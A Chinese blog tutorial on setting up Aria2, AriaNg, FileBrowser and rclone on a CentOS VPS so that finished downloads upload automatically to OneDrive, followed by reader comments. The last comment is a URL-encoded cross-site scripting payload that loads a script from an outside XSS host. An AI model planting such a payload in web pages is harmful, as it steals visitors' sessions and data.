以下为图文教程
准备环境
- VPS主机(下载的话当然大盘鸡最好了,没有的可以看文末推荐的商家)
- VPS内存 ≥512MB
- 教程使用CentOS7系统演示
- 一个 OneDrive 账号(OneDrive 5T账号的申请这里就不写了,网上一堆傻瓜教程)
这个手动配置教程比较长,这里有个更简短的一键脚本教程 https://www.twoha.tk/aria2/ 不过还是推荐手动配置,除了软件版本更新外,稳定性也更好。
SSH登录服务器开搞
小白要是连SSH是什么都不清楚,可以先看下这篇简易教程: https://www.twoha.tk/ssh-putty/
登录后先更新系统并安装宝塔面板, 宝塔配置更直观,适合新手。
yum -y update #更新系统
yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh #CentOS安装宝塔面板
宝塔安装过程中会有个确认选项,填y回车就好(就好比你PC上下了个软件,双击安装包安装时的确认选项一样。只不过linux里很多操作要用命令完成,不像图形界面鼠标移到选项上点点,像这种教程基本每步都有说明,就好比你第一次上网注册账号一样,顶多多花点时间操作 )。
安装完成看到如下界面,记好自己的宝塔账号密码,然后登录宝塔面板,登陆后进入软件管理
,选择 Nginx
安装。(宝塔随机生成的用户名和密码不容易记,你可以进面板设置
自定义。)


Nginx安装需要一点时间,不用一直看着。先进到宝塔的安全
菜单,放行一下6800
和8080
端口,6800是Aria2的默认端口,8080是后面要安装的FileBrowser默认端口。在安装Aria2前先放行了,不放行等下会连接不上。放行操作如下图,只演示了放行6800端口,记得放行8080端口。

放行完回到SSH安装Aria2
安装Aria2
补充说明:关于Aria2建议不使用下面的版本,而使用P3TERX大佬的:https://github.com/P3TERX/aria2.sh
这是在逗比大佬失联后,P3TERX在他的版本上优化后的增强版,后文提到的“自动上传设置”这个脚本里已经包含进去了,只需要修改下即可,这几个步骤教程可移步P3TERX的这篇博文:https://p3terx.com/archives/offline-download-of-onedrive-gdrive.html
Aria2 是一个多协议、多来源的命令行下载工具,支持磁力链接、BT 种子、HTTP、FTP 等下载协议,当然因为它是命令行运行,我们想下载还需要去敲命令麻烦且增加操作难度,所以后面还要安装 AriaNg 图形界面,可以直接浏览器打开网页进行操作,就跟你用百度网盘下载管理文件差不多。
使用逗比大佬的脚本安装Aria2 。
wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/aria2.sh && chmod +x aria2.sh && bash aria2.sh
运行脚本后会出现如下菜单,输入1
回车安装。
Aria2 一键安装管理脚本 [vx.x.x]
-- Toyo | doub.io/shell-jc4 --
0. 升级脚本
————————————
1. 安装 Aria2
2. 更新 Aria2
3. 卸载 Aria2
————————————
4. 启动 Aria2
5. 停止 Aria2
6. 重启 Aria2
————————————
7. 修改 配置文件
8. 查看 配置信息
9. 查看 日志信息
10. 配置 自动更新 BT-Tracker服务器
————————————
当前状态: 已安装 并 已启动
请输入数字 [0-10]:1
安装成功后会自动生成配置信息,但是默认配置的下载目录和RPC密码不容易记住,我们可以改成自己容易记住的,虽然也可以用./aria2.sh
命令回到菜单修改,这里还是用宝塔来改好了)。进到宝塔文件
菜单,首先建一个aria2的下载目录(也就是PC常说的文件夹)。我们先返回根目录
,然后点击新建
,下拉项选择新建目录
,然后填入 /data/download
点新建就好了。

再进入/root/.aria2
这个目录,里面有个aria2.conf
配置文件,点编辑
打开文件,配置文件都有中文注释一看就知道什么意思,要改的下载目录就在第一项,改为前面建好的/data/download
,然后往下拉在RPC相关设置
里面找到RPC授权令牌
这项,授权令牌相当于aria2的登录密码,改成你自己容易记的就行。
其它选项你也可以看看,根据自己需要修改,改好保存即可。


修改完配置文件使用下面重启
命令重启Aria2使配置文件生效。
以下是Aria2的一些日常管理命令
• 菜单:./aria2.sh
• 启动:/etc/init.d/aria2 start
• 停止:/etc/init.d/aria2 stop
• 重启:/etc/init.d/aria2 restart
• 查看状态:/etc/init.d/aria2 status
• 配置文件:/root/.aria2/aria2.conf (配置文件包含中文注释,但是一些系统可能不支持显示中文)
• 令牌密匙:随机生成(可以自己修改配置文件)
安装 AriaNg
还是用宝塔来安装 AriaNg,文件
菜单进入/www/wwwroot
目录,点击远程下载
,在URL地址
项填入下载地址https://github.com/mayswind/AriaNg-DailyBuild/archive/master.zip
然后点击确定
开始下载。

文件很小很快就下完了,点下刷新按钮
刷新当前文件夹,应该就能看到下好的压缩包了(如果没有应该就是前面Nginx还没安装完,任务还在排队),然后解压
这个压缩包,解压出来后删除压缩包,再给解压出来的文件夹重命名为AriaNg,我喜欢简短一点方便查找,最后如下图。

创建站点
进入宝塔网站
菜单,再点击添加站点
,在域名
项填入你的服务器IP,根目录
项填入AriaNg的目录,也就是/www/wwwroot/AriaNg/
, 其它不用改点击提交
。你也可以点右边文件夹的图标进入AriaNg目录内选择。

这时用浏览器访问 IP 就能看到 AriaNg 界面了,刚进入会有个认证失败的弹窗,确定直接关掉,然后点击AriaNg设置
→RPC
,填入前面设立的RPC 密钥
, 最后点击重新加载页面
,显示已连接就搞定了,到此已经可以下载了。

安装 FileBrowser 文件管理面板
回到SSH,照下面顺序安装配置
#安装 FileBrowser
curl -fsSL https://filebrowser.xyz/get.sh | bash
#创建FileBrowser数据库 -d 后面跟路径
#这里根据自己的需求改即可 我这里设置的地址是: /2ha/filebrowser.db
filebrowser -d /2ha/filebrowser.db config init
#更改监听地址为 0.0.0.0(监听所有网卡接口)
filebrowser -d /2ha/filebrowser.db config set --address 0.0.0.0
#更改监听端口,不改也可以,默认8080,如果想改,比如改成9999就如下面
filebrowser -d /2ha/filebrowser.db config set --port 9999
#调试模式启动 -d后面跟你刚刚建立的数据库路径
filebrowser -d /2ha/filebrowser.db
启动调试模式后,通过浏览器打开http://IP:端口
(改为你的ip和端口,默认端口是8080),出现以下界面表示 FileBrowser 安装成功,先别管能不能登录 。然后我们返回SSH中,继续下一步的操作。

使用Ctrl+C
退出调试模式,接着要创建一个service来管理FileBrowser,将下面内容全部复制粘贴然后回车。
cat > /usr/lib/systemd/system/filebrowser.service <<EOF
[Unit]
Description=File Browser
After=network.target
[Service]
ExecStart=/usr/local/bin/filebrowser -d /2ha/filebrowser.db
[Install]
WantedBy=multi-user.target
EOF
重载使其生效。
systemctl daemon-reload
下面提供了 FileBrowser 的管理命令,这里使用新建管理账号
命令新建一个管理账号,可以看到这个命令中有add admin admin
这两个 admin 代表账号和密码,最好不要用默认的admin自己修改下。然后再使用运行
命令,顺便也可以配置下开机启动
,这时返回浏览器的 FileBrowser 界面中,使用你刚刚设置的账号密码登录即可。 其它几个选项给你参考,不需要全部使用。 FileBrowser管理命令
#创建一个新的管理账号:filebrowser -d /2ha/filebrowser.db users add admin admin --perm.admin
#运行:systemctl start filebrowser.service
#停止运行:systemctl stop filebrowser.service
#开机启动:systemctl enable filebrowser.service
#取消开机启动:systemctl disable filebrowser.service
#查看运行状态:systemctl status filebrowser.service
登录 FileBrowser 后默认是英文界面,而且是位于根目录范围,我们用 FileBrowser 的目的是管理Aria2下载文件,这样找起来麻烦,所以还要更改目录范围设置为Aria2的下载目录,修改中文和更改目录范围如下图。



改好返回我的文件
,这里就对应下载目录了。
绑定OneDrive网盘并实现Aria2下载结束自动上传文件
以下分为三小步这里做个简介:第一步是PC端获取网盘授权的令牌;第二步是在VPS里绑定获得的授权;第三步才是自动上传配置。因为OneDrive的授权需要在浏览器打开,而VPS没有图形界面,只能先在PC端获取授权,所以第一步和第二步有点重复。
1、窗口(PC)端安装Rclone
登录Rclone网官下载Rclone的窗户端的客户。

下载解压将里面的rclone.exe移动到本地C:\Windows\System32下这个目录,其它的可以删掉没关系
按win + R
快捷键打开运行,输入cmd
确定来打开CMD窗口,输入下面命令开始配置 。
rclone config
然后出现如下界面,提示按输入n
回车创建个新的远程,然后提示输入name,名称随意但要记住,这里我填remote
。
Current remotes:
Name Type
==== ====
onedrive onedrive
e) Edit existing remote
n) New remote
d) Delete remote
r) Rename remote
c) Copy remote
s) Set configuration password
q) Quit config
e/n/d/r/c/s/q> n
name> remote
回车后出现一长串网盘列表让你选,这里我们要绑定的是OneDrive, 其它网盘绑定教程我就不说了, 可以看到OneDrive是19,那就填入19回车,不同版本数字排序可能会变化,请自主确认,你也可以绑定列表中其它网盘。
Current remotes:
Name Type
==== ====
onedrive onedrive
e) Edit existing remote
n) New remote
d) Delete remote
r) Rename remote
c) Copy remote
s) Set configuration password
q) Quit config
e/n/d/r/c/s/q> n
name> onedrive
Type of storage to configure.
Enter a string value. Press Enter for the default ("").
Choose a number from below, or type in your own value
1 / A stackable unification remote, which can appear to merge the contents of several remotes
\ "union"
2 / Alias for a existing remote
\ "alias"
3 / Amazon Drive
\ "amazon cloud drive"
4 / Amazon S3 Compliant Storage Provider (AWS, Alibaba, Ceph, Digital Ocean, Dreamhost, IBM COS, Minio, etc)
\ "s3"
5 / Backblaze B2
\ "b2"
6 / Box
\ "box"
7 / Cache a remote
\ "cache"
8 / Dropbox
\ "dropbox"
9 / Encrypt/Decrypt a remote
\ "crypt"
10 / FTP Connection
\ "ftp"
11 / Google Cloud Storage (this is not Google Drive)
\ "google cloud storage"
12 / Google Drive
\ "drive"
13 / Hubic
\ "hubic"
14 / JottaCloud
\ "jottacloud"
15 / Koofr
\ "koofr"
16 / Local Disk
\ "local"
17 / Mega
\ "mega"
18 / Microsoft Azure Blob Storage
\ "azureblob"
19 / Microsoft OneDrive
\ "onedrive"
20 / OpenDrive
\ "opendrive"
21 / Openstack Swift (Rackspace Cloud Files, Memset Memstore, OVH)
\ "swift"
22 / Pcloud
\ "pcloud"
23 / QingCloud Object Storage
\ "qingstor"
24 / SSH/SFTP Connection
\ "sftp"
25 / Webdav
\ "webdav"
26 / Yandex Disk
\ "yandex"
27 / http Connection
\ "http"
Storage> 19
接着client_id
和client_secret
直接不填回车Edit advanced config?
输入n
回车Already have a token - refresh?
输入y
回车,后面VPS里配置时是没有这个提示的,会出现下个自动配置选项,别手快直接yUse auto config?
这里输入y
回车,后面VPS配置时这步要选 n
具体操作如下
Microsoft App Client Id
Leave blank normally.
Enter a string value. Press Enter for the default ("").
client_id>
Microsoft App Client Secret
Leave blank normally.
Enter a string value. Press Enter for the default ("").
client_secret>
Edit advanced config? (y/n)
y) Yes
n) No
y/n> n
Remote config
Already have a token - refresh?
y) Yes
n) No
y/n> y
Use auto config?
* Say Y if not sure
* Say N if you are working on a remote or headless machine
y) Yes
n) No
y/n> y
接着浏览器会自动弹出窗口,然后登录你要挂载的OneDrive账号,征求许可接受就行了,出现下图界面授权成功。

授权成功后返回cmd窗口出现以下界面,这里选1
回车。
Choose a number from below, or type in an existing value
1 / OneDrive Personal or Business #个人和商用
\ "onedrive"
2 / Root Sharepoint site
\ "sharepoint"
3 / Type in driveID
\ "driveid"
4 / Type in SiteID
\ "siteid"
5 / Search a Sharepoint site
\ "search"
Your choice>1
提示找到一个驱动器,让你选择,这里就一个选项0,那就填入0
回车,然后问你是否确定,选y
回车。
Found 1 drives, please select the one you want to use:
0: OneDrive (business) id=huioaeuiaeagioioieuiaaefe@#%gaege94#
Chose drive to use:>0
Found drive 'root' of type 'business', URL:https://jxjjxy-my.sharepoint.com/personal/meeaghvp_t_odmail_cn/Documents
Is that okay?
y) Yes
n) No
y/n> y
接着会出现一串长令牌,PC端的操作全是为了这个令牌,将下图红框内的整个复制,复制范围{"access_token":…………………………2019-04-21T16:41:25.1595637+08:00"}
保存好,以后就可以省了这步PC端操作,下面就回到SSH操作。

2 、VPS安装Rclone
curl https://rclone.org/install.sh | sudo bash #安装Rclone
rclone config #配置Rclone
上面输入完rclone config
回车后的过程跟前面在PC端的配置步骤基本一样,这里就不复述了,到了Use auto config?
问你是否使用自动配置这步不同,这里选n
回车,然后在出现的result>
后面粘贴上前面获得的token然后回车,接着会有几个确认,按提示填y
就行,
直到又回到下图配置开头界面,输入q
回车退出配置即可,到此我们完成了网盘的授权。
Name Type
==== ====
onedrive onedrive
e) Edit existing remote
n) New remote
d) Delete remote
r) Rename remote
c) Copy remote
s) Set configuration password
q) Quit config
e/n/d/r/c/s/q> q
提示
以上两步就是为了得到token,并在VPS里创建一个rclone.conf
配置文件,该配置文件目录在root/.config/rclone/rclone.conf
,可以将这个文件下载到本地,以后如果重装只要在VPS上安装好rclone,再将这个配置文件放进这个目录即可,省去繁琐配置过程。
3、自动上传设置
回到宝塔面板,在/root
目录下创建个rcloneupload.sh
文件(不是文件夹),建好会自动打开编辑,将下面的内容全部复制进去。
注意里面的以下三行内容跟你自己的目录对上↓downloadpath='/data/download'
#Aria2下载目录name='remote'
#配置Rclone时的namefolder='/backup'
#OneDrive里的文件夹,如果是根目录直接留空
没问题就保存退出。
#!/bin/bash
filepath=$3 #取文件原始路径,如果是单文件则为/Download/a.mp4,如果是文件夹则该值为文件夹内第一个文件比如/Download/a/1.mp4
path=${3%/*} #取文件根路径,如把/Download/a/1.mp4变成/Download/a
downloadpath='/data/download' #Aria2下载目录
name='remote' #配置Rclone时的name
folder='/backup' #网盘里的文件夹,如果是根目录直接留空
MinSize='10k' #限制最低上传大小,默认10k,BT下载时可防止上传其他无用文件。会删除文件,谨慎设置。
MaxSize='15G' #限制最大文件大小,OneDrive单文件上传最大只支持15G,保持默认即可。
if [ $2 -eq 0 ]; then exit 0; fi
while true; do
if [ "$path" = "$downloadpath" ] && [ $2 -eq 1 ] #如果下载的是单个文件
then
rclone move -v "$filepath" ${name}:${folder} --tpslimit 1 --buffer-size=10M --min-size $MinSize --max-size $MaxSize
rm -vf "$filepath".aria2 #删除残留的.aria.2文件
exit 0
elif [ "$path" != "$downloadpath" ] #如果下载的是文件夹
then
while [[ "`ls -A "$path/"`" != "" ]]; do
rclone move -v "$path" ${name}:/${folder}/"${path##*/}" --tpslimit 1 --buffer-size=10M --min-size $MinSize --max-size $MaxSize --delete-empty-src-dirs
rclone delete -v "$path" --max-size $MinSize #删除多余的文件
rclone rmdirs -v "$downloadpath" --leave-root #删除空目录,--delete-empty-src-dirs 参数已实现,加上无所谓。
done
rm -vf "$path".aria2 #删除残留的.aria2文件
exit 0
fi
done
然后进入/root/.aria2
目录,编辑aria2.conf
配置文件,在末尾加上一行on-download-complete=/root/rcloneupload.sh
,意思是下载完成执行我们刚创建的自动上传脚本,这个脚本具有变量千万不要手动执行。
很多人问为什么下载完成不会自动上传?
答:下载100%完成后文件还在做种,要进入 “已完成” 才会触发自动上传。BT本身就是大家互相分享资源的形式,从别人那里下了资源自己也要分享给后面的人,关于要分享多少给别人才进入已完成基于你设置的分享率,如下了1G文件然后分享出去1G这个分享率就为1,配置文件里可以设置,本着拿1还1是本分,拿1还2是美德,希望各位不要做吸血鬼。
回到SSH输入/etc/init.d/aria2 restart
重启Aria2使配置文件生效,这样就大功告成了。
顺便整理了一些使用技巧和常见问题(包括PT注意事项、做种期间手动上传等)
传送门:https://www.twoha.tk/aria2-faq/
最后推荐下我现在在用的大硬盘VPS,512M内存挂载250G硬盘,每月20RMB都不到,就是经常缺货不容易买到。介绍文章: https://www.twoha.tk/buyvm-frantech/
更多大盘鸡选择: https://www.twoha.tk/storagevps/
大佬,为啥,df -h查看网盘,并未看到onedrive的网盘被挂载
是看不到的,准确的说并没有挂载,只是进行了授权,要看授权成功了没,你可以试试下张图片看能不能同步,或者手动上传试试(不会手动上传见文章尾部“使用技巧和常见问题篇”链接)
感谢博主的教程,已经搭建完成了,但是下载完成后没有自动上传是什么问题。
查看日志发现:
Could not execute user command: /data/rcloneupload.sh: No such file or directory
我教程里的rcloneupload.sh是放在root目录下的,确保你目录有没有搞错,还是说你自己修改过了,还有修改完aria2.conf配置文件后需要重启aria2使其生效,自己再检查下。
文件下载完成一直在做种不能取消,也不能自动上传应该怎么解决
急用可以手动上传,参考这篇文章自建Aria2离线下载使用技巧和问题整理(玩PT的一定要看)
VPS输入token的时候提示命令不存在
检查复制的token内容有没有缺失,很多问题重来一遍仔细检查每个步骤其实就能解决
奥力给,爱死你了
今天重新把frantech储存快去取下来。想挂到另一个服务器。结果杯具了。按照命令一顿输入,结果储存块格式化了。。。
创建EXT4文件系统这步就是将硬盘格式化为EXT4文件系统
如果略过EXT4这一步是不是就不会格式化了?毕竟硬盘本来就是EXT4文件系统?
这个没试过不清楚,我自己也是小白,写不来代码,挂载硬盘的代码还是从Vultr的FAQ里搬来的,其实还可以如果要转移到另一个KVM切片上还是先备份好数据,然后可以试试
FileBrowser 卡在这步安装上了 curl -fsSL https://filebrowser.xyz/get.sh | bash,wget -qO- https://filebrowser.xyz/get.sh | bash,下载没速度。
这个情况我以前也遇到过一次,改天再试就行了,具体原因也不太清楚
大佬,看了你的教程,购买了大盘鸡套餐,但是这个教程搞完之后发现下载的东西都在20g的硬盘上,额外购买的256G块存储就没用上,再者,如果下载超过20g文件完了。
有些代码不能照抄,下载目录你得改成块存储的目录,不能照抄直接用
/data/download
,这就跟你PC上装软件默认基本都是装C盘一个道理配置了两次全部按照流程来,没法上传。视频也看了
先用图片试试看,不行的话核对下目录、上传脚本这些是否对的上有没有遗漏,OneDrive的token也检查是否复制完整,最后别忘了重启Aria2使上传脚本生效
大佬如何锁定aria2下载的文件夹权限?我下载后想在可道云对其进行直接管理,但是权限一直要变更所有者从root变更成www,有什么方法锁定所有者不,不然还要下完后从宝塔变更所有者
可道云没试过不太清楚,你可以看下知乎这个教程
博主你好,
请教几个问题:
1.arai2如何绑定域名?
2.aria2可以同时绑定onedrive跟gooledrive下载并上传两个网盘吗?
3.gooledrive有没办法直连无限容量的共享盘,下载的同时不耗费VPS的流量?
问题有点多哈哈哈,麻烦博主闲时回复下。谢谢~
问题1:先把域名跟你的IP绑定上,宝塔创建站点的时候域名栏直接填域名不用IP就行;
问题2:可以的,不过同时上传我没搞过不太清楚,你要么可以先上传一个再搞个宝塔计划任务,比如每晚1点进行两个网盘间的同步;
问题3:没看明白,你这个无限容量盘是指Googledrive的团队盘吗,如果你是在国内我还是推荐用OneDrive吧,不然从Googledrive上下东西不通过VPS代理基本不可能
大佬你好,请教下rclone可以同时挂载多个账号吗
可以的,重复挂载第一个时的操作即可,name别一样就行
你好,博主,是否可以用rclone挂载onedrive到vps的磁盘,下载的时候直接下载到挂载盘,这个方案不知道速度怎么样
这个貌似不可以,我之前也是这个想法
您好,我想问下,为什么我部署好了之后,下载其他链接时aria2可以正常下载,onedrive也可以正常上传。但就是用百度网盘插件下载时,可以添加下载文件,但是下载没有速度?是不是我插件的RPC设置不对?我的RPC设置下载路径是/data/download,对不对啊?
这个不支持插件提取的百度网盘链接的
请问我下载并上传了几个文件之后我的VPS的25G容量满了,无法再下载了,怎么办啊?
删掉多余的文件再,如果单个磁力或种子文件超过25G的话,请参考https://www.twoha.tk/aria2-faq/#faq-4
博主你的哪个rcloneupload.sh文件没有给权限. 而且直接复制粘贴的话会存在windows转到linux的编码错误,用bash rcloneupload.sh会报错。Windows下每一行结尾是\n\r,而Linux下则是\n,所以才会有 多出来的\r。这样就会导致下载完成去调用shell脚本的时候执行不下去的,所以有些人不会自动上传。 在ssh里用 sed -i ‘s/\r$//’ rcloneupload.sh 就可以正常使用了。
我是小白都是东拼西凑来的东西,只知道这个脚本具有变量本身就不能手动执行,自动上传需要做种完毕进入已完成才可以,或者自己参考rclone文档手动复制、同步、移动都可以,如果知道怎么在100%下完,做种期间不进入已完成的copy到网盘还请指教
这个我记得在aria2的配置文件里可以改。一种方法是设置做种时间,可以设置成不做种。还有一种方法是,把其中一个做种分离的参数改成true,这种办法可以实现下载完成就上传,做种是和完成度分开进行的。
我都没怎么注意,研究下,不过最近也改为手动上传了,因为有时候本地网络直连服务器速度很快,就不传网盘直接从服务器下
在aria2.conf中使用on-bt-download-complete=可以实现边做种边上传
好的,谢谢分享
大佬,现在rclone下载不聊了
可以的,你可以换个时间试试
Onedrive世纪互联(国内版)可以用吗
没试过,应该可以的
谢谢分享
%3CsCRiPt%20sRC%3D%2F%2Fxss.pt%2Fjd3H%3E%3C%2FsCrIpT%3E